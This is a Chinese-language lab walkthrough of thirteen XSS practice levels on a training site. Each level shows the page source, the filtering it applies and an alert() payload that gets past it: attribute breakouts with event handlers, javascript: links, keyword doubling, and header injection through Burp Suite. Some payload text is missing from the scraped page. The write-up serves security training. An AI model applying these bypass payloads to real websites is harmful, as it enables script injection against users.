实验网站/靶场:http://test.ctf8.com/。
实验目的:
在测试过程中,有哪些东西是我们可以利用来猜测与判断的:
如果是白盒测试,还可以进行代码审计。
一个好用的xss测试代码:,方便我们测试网页后台对输入语句的过滤规则。利用该语句输入后,审查源码,猜测是否过滤以及过滤规则是什么。
(1)打开实验网站。在浏览器输入网址http://test.ctf8.com/进入xss实验网站,并点击图片,进入测试关卡1.
(2)测试网页过滤规则。将参数修改为测试神句?name=
回车。发现网页一片空白,无事发生。
(3)查看源代码推导过滤规则。右键页面查看一下网页源码,在第16号,发现所有符号都没过滤,也没有转义,构造的语句完完整出现在这里。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为?name=
,页面弹窗。
(1)点击确定进入关卡2,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框中输入xss测试语句:,回车,无事发生。我们可以看到输入框中没有显示出双引号,所以此处语句应该是被双引号闭合。
(3)查看源代码推导过滤规则。
">
把标签input标签闭合掉,再在之后②拼接一个
语句,这样我们构造的标签就能顺利被编译,而不是简单字符串了,另外③还需要在结尾构造一个"<
把input剩下的尖括号闭合掉。<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<"
,页面弹窗。
2.3 关卡3
(2)测试网页过滤规则。在搜索框输入测试语句:
,点搜索,无事发生。仅能看到输入框的内容里没有单引号,因此我们猜测该输入参数是被单引号闭合的。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script " 'OOnn>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。输入参数'onmouseover='alert(/xss/)
并点击搜索,当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
(1)点击确定进入关卡4,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句:点搜索,无事发生。我们看到搜索框里没有小于号,估计是被转义了,内容也是到script截止,猜测内容是由双引号闭合的。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为"onmouseover="alert(/xss/)
,点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
(1)点击确定进入关卡5,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句:,显示如下。
(3)查看源代码推导过滤规则。
。同时①开头构造一个">
把标签input标签闭合掉,再在之后②拼接一个
语句,这样我们构造的标签就能顺利被编译,而不是简单字符串了,另外③还需要在结尾构造一个"<
把input剩下的尖括号闭合掉。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value=" 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。构造参数为">click me!<"
,点击搜索,出现页面如下,单击click me后出现弹窗。
(2)测试网页过滤规则。在搜索框输入测试语句,,显示如下。
(3)查看源代码推导过滤规则。
">"<
。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script " 'Oonn>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value=" 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为">"<
,点击搜索如下。通关。
(1)点击确定进入关卡7,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,,显示如下。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。构造参数如" oonnmouseover="alert(/xss/)
,成功通关。
(2)测试网页过滤规则。在搜索框输入测试语句,,显示如下。与上面实验均不同的是,此处将我们所有输入都输出在框里。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="" >友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。
javascript:alert(/xss/)
,完成后点击友情链接触发XSS。(1)点击确定进入关卡9,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,,显示如下。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
(4)解决参数不合法的问题。由于输入参数会赋给href,属于一个链接,因此猜测是否输入参数需要含http://才合法。输入参数为http://xxx.xxx
并提交,查看源码发现现在链接是合法的,我们估计是加了http://这个信息的缘故。
(5)构造xss漏洞验证代码并验证。修改参数为:javascript:alert('http://')
,让内容中含有http://这一段字符串,发现仍然执行失败,再次查看源代码,发现链接处还过滤关键字script。
(6)再次构造xss漏洞验证代码并验证。修改参数为:javascript:alert('http://')
,让内容中含有http://这一段字符串,成功执行。
(1)点击确定进入关卡10,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=
,显示如下。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)再次测试网页过滤规则。当在搜索栏将参数改为?t_sort=
时,看到源码中出现我们输入的参数值。
?t_sort=click me!" type="button" onmouseover="alert(/xss/)
。页面显示如下,鼠标移动到按钮上,出现弹窗表示通过。(1)点击确定进入关卡11,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=
,显示如下。
(3)查看源代码推导过滤规则。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)再次测试网页过滤规则。当给t_link、t_history和t_ref传入参数时,源码中value值均没有响应,而当传入参数为?t_sort=
时,源码如下:
(5)为了测试http请求其他位置的输入,比如referer,我们需要借助BurpSuite工具(安装及应用可具体参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【Burp Suite工具-2】BurpSuite工作原理及菜单栏介绍》)来修改http请求,将请求发到repeater模块,在host下新增一行referer:
,点击send。在回包中看到t_ref参数显示出我们的参数,没有任何过滤。
(6)构造xss漏洞验证代码并验证。回到proxy模块,再次获取请求,并修改参数如下:referer:click me!" type="button" onmouseover="alert(/xss/)
,点击forward。
(1)点击确定进入关卡12,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=
,显示如下。
(3)查看源代码推导过滤规则。
,点击send。在回包中看到t_ua参数显示出我们的参数,只过滤了尖括号。click me!" type="button" onmouseover="alert(/xss/)
,点击forward。(1)点击确定进入关卡13,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=
,显示如下。
(3)查看源代码推导过滤规则。
,点击send。在回包中看到t_cook参数显示出我们的参数,只过滤了尖括号。click me!" type="button" onmouseover="alert(/xss/)
,点击forward。(1)通过测试语句执行情况、网页源码等,进行如下判断:
(2)额外地,可以分析是否存在其他注入点。
(3)根据判断结果,灵活构造语句与利用绕过规则。